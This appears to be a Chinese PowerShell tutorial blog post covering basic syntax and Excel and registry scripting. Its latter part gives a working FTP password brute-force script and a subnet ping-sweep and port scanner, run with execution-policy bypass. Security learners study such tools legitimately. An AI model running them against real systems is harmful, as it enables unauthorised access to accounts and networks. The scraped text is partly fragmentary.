cmdletscmdlets是Powershell的内部命令,cmdlet的类型名为System.Management.Automation.CmdletInfo,在网上我找到了其中文说明,再用到的时候可以查找cmdlet的名称由一个动词和一个名词组成,功能一目了然,但长度却过长。这时我们就需要用到“别名”了!Powershell内部也实现了很多常用命令的别名。例如Get-ChildItem,列出当前的子文件或目录。它有两个别名:ls和dir,这两个别名来源于unix的shell和windows的cmd。Get-Alias -name 别名查询别名所指的真实cmdlet命令
ls alias:或Get-Aliasls alias: | Group-Object definition | sort -Descending Count
&开头的,剩余字符可以是数字、字母、下划线的任意字符,且不区分大小写。=,其几乎可以把任何数据赋值给一个变量

[变量类型]$变量名$array = 1,2,3,4$array = 1..4$array=1,"2017",([System.Guid]::NewGuid()),(get-date)$a=@()  # 空数组$a=,"1" # 一个元素的数组$array[0]
$test -is [array]$books += "元素4"[int[]] $nums=@()$stu=@{ Name = "小明";Age="12";sex="man" }$stu["Name"]访问对应Name的值$stu=@{ Name = "小明";Age="12";sex="男";Books="三国演义","围城","哈姆雷特" }哈希表的插入与删除:
$Student=@{}
$Student.Name="hahaha"
$stu.Remove("Name")    -eq:等于-ne:不等于-gt:大于-ge:大于等于-lt:小于-le:小于等于-contains:包含-notcontains:不包含-and:和-or:或-xor:异或-not:逆if-else语句
if(条件满足){
  如果条件满足就执行代码
}
else
{
  如果条件不满足
}循环语句while
while($n -gt 0){
    code
}函数的结构由三部分组成:函数名,参数,函数体
Function FuncName (args[])
{
    code;
}del Function:函数名万能参数:给一个函数定义参数最简单的是使用$args这个内置的参数。它可以识别任意个参数。尤其适用哪些参数可有可无的函数。$args是一个数组类型。
function sayHello
{
  if($args.Count -eq 0)
  {
      "No argument!"
  }
  else
  {
      $args | foreach {"Hello,$($_)"}
  }
}
sayHellosayHello LiLisayHello LiLi Lucy Tom设置参数名称并定义默认值
function StringContact($str1="moss",$str2="fly")
{
    return $str1+$str2
}Return语句
return语句指定具体的我返回值。Return语句会将指定的值返回,同时也会中断函数的执行,return后面的语句会被忽略。Try{
    $connection.open()
    $success = $true
}Catch{
    $success = $false
}
Function:PSDrive虚拟驱动器查看
Clear-Host:清除屏幕的缓存help,man:查看命令的帮助文档mkdir,md:通过new-Item创建子目录more:分屏输出管道结果prompt:返回提示文本TabExpansion:Tab键的自动完成提示X:调用Set-Location定位到指定的驱动器根目录
.ps1后缀即可。.\路径\文件名
ls获取当前目录的所有文件信息,然后通过Sort -Descending对文件信息按照Name降序排列,最后将排序好的文件的Name和Mode格式化成Table输出
>为覆盖,>>为追加。
$excel.Visible=$true$workbook = $excel.Workbooks.Open("XXX.xlsx")$workbook = $excel.Workbooks.Add()$worksheet = $workbook.Worksheets.Item(1)$workbook.SaveAs("D:\Desktop\hello.xlsx")打印九九乘法表
$excel = New-Object -ComObject Excel.Application
$workbook = $excel.Workbooks.Open("C:\Users\zyx\Desktop\1.xlsx")
$worksheet = $workbook.Worksheets.Item(1)
for ($i = 1; $i -le 9; $i++) {
   # 第一行
   $worksheet.Cells.item(1, $i + 1) = $i
   # 第一列
   $worksheet.Cells.item($i + 1, 1) = $i
   # 它们的乘积
   for ($j = 1; $j -le 9; $j++) {
     $worksheet.Cells.item($i + 1, $j + 1) = $i * $j
  }
}
读取一个Excel表格中的数据
$excel = New-Object -ComObject Excel.Application
$workbook = $excel.Workbooks.Open("C:\Users\zyx\Desktop\1.xlsx")
$worksheet = $workbook.Worksheets.Item(1)
for ($i = 1; $i -le 10; $i++) {
   for ($j = 1; $j -le 10; $j++) {
      Write-Host -NoNewline $worksheet.Cells.item($i, $j).Text "`t"
   }
   Write-Host
}
里面的`t是PowerShell中的制表符,每个数据之间使用制表符来分隔;write-host为写到控制台,-NoNewline表示显示在控制台的信息不以换行结尾。

Set-Location:别名cd,切换工作目录。Get-Location:别名pwd,获取当前工作目录。Get-ChildItem:获取当前目录下的所有文件。Get-Item:获取给定文件的信息。Get-Command -Noun item:查看所有文件操作的命令。Get-Item .\名称.lnk(因为基本为快捷方式所以需要lnk后缀)
Set-Location ‘HKCU:\Control Panel\Desktop\MuiCached‘Get-Item .
Get-ItemProperty .  MachinePreferredUILanguages$path = "HKCU:\Control Panel\Desktop"New-Item –Path $path –Name HelloKeySet-ItemProperty -path $path\hellokey -name Fake -Value fuck
Remove-ItemProperty -path $path\hellokey -name FakeRemove-Item -path $path\hellokey -RecurseGet-WmiObject win32_logicaldisk | ?{$_.DeviceID -like "C:"}Get-WmiObject -computername localhost -class win32_logicaldisk | ?{$_.DeviceID -like "C:"}现在将其写入一个脚本,我们可以使用ctrl+J看到脚本大概的格式并运用,内容如下:
<#
.Synopsis
   This is for diskinfo
.DESCRIPTION
   This is for remote computer
.EXAMPLE
   diskinfo -computername remote
#>
function Get-diskinfo
{
  [CmdletBinding()]
  Param
  (
      # Param 帮助描述
      [Parameter(Mandatory=$true)]
      [string[]]$ComputerName,
      $bogus
  ) 
  Get-WmiObject -computername $ComputerName -class win32_logicaldisk | ?{$_.DeviceID -like "C:"} 
}.\Diskinfo.ps1,通过Get-help Diskinfo -full查看使用解释等等. .\Diskinfo.ps1get-diskinfo -ComputerName localhost
ftp://IP地址会提示输入用户名和密码
修改脚本,内容如下:
function Invoke-BruteForce
{
  [CmdletBinding()] Param(
      [Parameter(Mandatory = $true, Position = 0, ValueFromPipeline=$true)]
      [Alias("PSComputerName","CN","MachineName","IP","IPAddress","Identity","Url","Ftp","Domain","DistinguishedName")]
      [String]
      $ComputerName,
      [Parameter(Position = 1, Mandatory = $true, ValueFromPipeline=$true)]
      [Alias('Users')]
      [String]
      $UserList,
      [Parameter(Position = 2, Mandatory = $true)]
      [Alias('Passwords')]
      [String]
      $PasswordList,
      [Parameter(Position = 3, Mandatory = $true)] [ValidateSet("SQL","FTP","ActiveDirectory","LocalAccounts","Web")]
      [String]
      $Service = "FTP",
      [Parameter(Position = 4, Mandatory = $false)]
      [Switch]
      $StopOnSuccess,
      [Parameter(Position = 6, Mandatory = $false)]
      [UInt32]
      $Delay = 0
  )
  Process
  {
      # Write-Verbose用于打印详细信息
      Write-Verbose "Starting Brute-Force and Delay is $Delay."
      # 获取用户名与密码字典
      $usernames = Get-Content -ErrorAction SilentlyContinue -Path $UserList
      $passwords = Get-Content -ErrorAction SilentlyContinue -Path $PasswordList
      if (!$usernames) { 
          $usernames = $UserList
          Write-Verbose "UserList file does not exist."
          Write-Verbose $usernames
      }
      if (!$passwords) {
          $passwords = $PasswordList
          Write-Verbose "PasswordList file does not exist."
          Write-Verbose $passwords
      }
      # Brute Force FTP
      if ($service -eq "FTP")
      {
          # 机器名的处理:若ftp://开始直接获取名字,若没有直接加上
          if($ComputerName -notMatch "^ftp://")
          {
              $source = "ftp://" + $ComputerName
          }
          else
          {
              $source = $ComputerName
          }
          Write-Output "Brute Forcing FTP on $ComputerName"
          :UsernameLoop foreach ($username in $usernames)
          {
              foreach ($Password in $Passwords)
              {
                  try
                  {   
                      # 调用.net中的FTP库进行连接
                      $ftpRequest = [System.Net.FtpWebRequest]::Create($source)
                      $ftpRequest.Method = [System.Net.WebRequestMethods+Ftp]::ListDirectoryDetails
                      # 通过Verbose输出的信息
                      Write-Verbose "Trying $userName : $password"
                      # 进行认证连接
                      $ftpRequest.Credentials = new-object System.Net.NetworkCredential($userName, $password)
                      # 获取返回信息
                      $result = $ftpRequest.GetResponse()
                      $message = $result.BannerMessage + $result.WelcomeMessage
                      # 打印信息到控制台
                      Write-Output "Match $username : $Password"
                      $success = $true
                      # 判断是否要得到结果立刻退出
                      if ($StopOnSuccess)
                      {
                          break UsernameLoop
                      }
                  }
                  catch
                  {
                      $message = $error[0].ToString()
                      $success = $false
                  }
                  # 延时爆破
                  Start-Sleep -Seconds $Delay
              }
          }
      } 
  }
}
阅读相关手册对一些参数进行解读
属性名 | 可选参数值 | 属性说明
---|---|--
CmdletBinding类 | | 定义PowerShell的行为
Parameter类 | | 定义的参数为静态参数
Mandatory | $True, $False | 指定参数是否是必要参数,强制用户输入
Position | 整数 | 指定参数位置,如果用户没有指定具体参数名称,那么PowerShell将根据该值按序填充相应的参数
ValueFromPipeline | $True, $False | 是否接受来自管道中的值
Alias | 字符串 | 指定参数的另一个名称
ValidateSet | 集合 | 检验参数值是否在指定的属性集合中
ErrorAction | | 抑制内置的错误消息,将ErrorAction设置为“SilentlyContinue”,错误信息就不会输出了
. .\ps.ps1Invoke-BruteForce -ComputerName localhost地址 -UserList C:\Users\zyx\Desktop\username.txt -PasswordList C:\Users\zyx\Desktop\pass.txt -Service ftppowershell –exec bypass –Command "& {Import-Module ‘C:\Users\zyx\Desktop\ps.ps1‘;Invoke-BruteForce -ComputerName localhost地址 -UserList C:\Users\zyx\Desktop\username.txt -PasswordList C:\Users\zyx\Desktop\pass.txt -Service ftp }"结果

CmdletBinding的方法,来设置参数的形式端口扫描调用.NET的Socket来进行端口连接,如果连接建立代表端口连接成功
function PortScan {
[CmdletBinding()] Param(
      [parameter(Mandatory = $true, Position = 0)]
      [ValidatePattern("\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b")]
      [string]
      $StartAddress,
      [parameter(Mandatory = $true, Position = 1)]
      [ValidatePattern("\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b")]
      [string]
      $EndAddress,
      [switch]
      $GetHost,
      [switch]
      $ScanPort,
      [int[]]
      $Ports = @(21,22,23,25,53,80,110,139,143,389,443,445,465,873,993,995,1080,1086,1723,1433,1521,2375,3128,3306,3389,3690,5432,5800,5900,6379,7001,7002,7778,8000,8001,8080,8081,8089,8161,8888,9000,9001,9060,9200,9300,9080,9090,9999,10051,11211,27017,28017,50030),
      [int]
      $TimeOut = 100
  )  
  Begin {
      # 开始之前先调用Ping组件
      $ping = New-Object System.Net.Networkinformation.Ping
  }
  Process {
      # 四层循环获取解析IP地址
      foreach($a in ($StartAddress.Split(".")[0]..$EndAddress.Split(".")[0])) {
          foreach($b in ($StartAddress.Split(".")[1]..$EndAddress.Split(".")[1])) {
          foreach($c in ($StartAddress.Split(".")[2]..$EndAddress.Split(".")[2])) {
              foreach($d in ($StartAddress.Split(".")[3]..$EndAddress.Split(".")[3])) {
                  # write-progress用于在shell界面显示一个进度条
                  write-progress -activity PingSweep -status "$a.$b.$c.$d" -percentcomplete (($d/($EndAddress.Split(".")[3])) * 100)
                  # 通过Ping命令发送ICMP包探测主机是否存活
                  $pingStatus = $ping.Send("$a.$b.$c.$d",$TimeOut)
                  if($pingStatus.Status -eq "Success") {
                      if($GetHost) {
                          # 本分支主要解决主机名的问题
                          # write-progress用于在shell界面显示一个进度条
                          write-progress -activity GetHost -status "$a.$b.$c.$d" -percentcomplete (($d/($EndAddress.Split(".")[3])) * 100) -Id 1
                          # 获取主机名
                          $getHostEntry = [Net.DNS]::BeginGetHostEntry($pingStatus.Address, $null, $null)
                      }
                      if($ScanPort) {
                          # 定义一个开放的端口数组, 存储开放的端口
                          $openPorts = @()
                          for($i = 1; $i -le $ports.Count;$i++) {
                              $port = $Ports[($i-1)]
                              # write-progress用于在shell界面显示一个进度条
                              write-progress -activity PortScan -status "$a.$b.$c.$d" -percentcomplete (($i/($Ports.Count)) * 100) -Id 2
                              # 定义一个Tcp的客户端
                              $client = New-Object System.Net.Sockets.TcpClient
                              # 开始连接
                              $beginConnect = $client.BeginConnect($pingStatus.Address,$port,$null,$null)
                              if($client.Connected) {
                                  # 加入开放的端口
                                  $openPorts += $port
                              } else {
                              # 等待, 这里用于网络延迟, 防止因为网络原因而没有判断到端口的开放而错失很多机会
                                  Start-Sleep -Milli $TimeOut
                                  if($client.Connected) {
                                      $openPorts += $port
                                  }
                              }
                              $client.Close()
                          }
                      }
                      if($GetHost) {
                          # 获取主机名
                          $hostName = ([Net.DNS]::EndGetHostEntry([IAsyncResult]$getHostEntry)).HostName
                      }
                      # 返回对象-哈希表
                      New-Object PSObject -Property @{
                      IPAddress = "$a.$b.$c.$d";
                      HostName = $hostName;
                      Ports = $openPorts
                      } | Select-Object IPAddress, HostName, Ports
                  }
              }
          }
          }
      }
   }
}. .\PortSan.ps1PortScan -StartAddress 192.168.38.1 -EndAddress 192.168.38.254 -GetHost -ScanPortpowershell –exec bypass –Command "& {Import-Module ‘C:\Users\zyx\Desktop\PortScan.ps1‘;PortScan -StartAddress 192.168.38.1 -EndAddress 192.168.38.254 -GetHost -ScanPort }"扫描结果

参考资料
原文:https://www.cnblogs.com/besty-zyx/p/11044702.html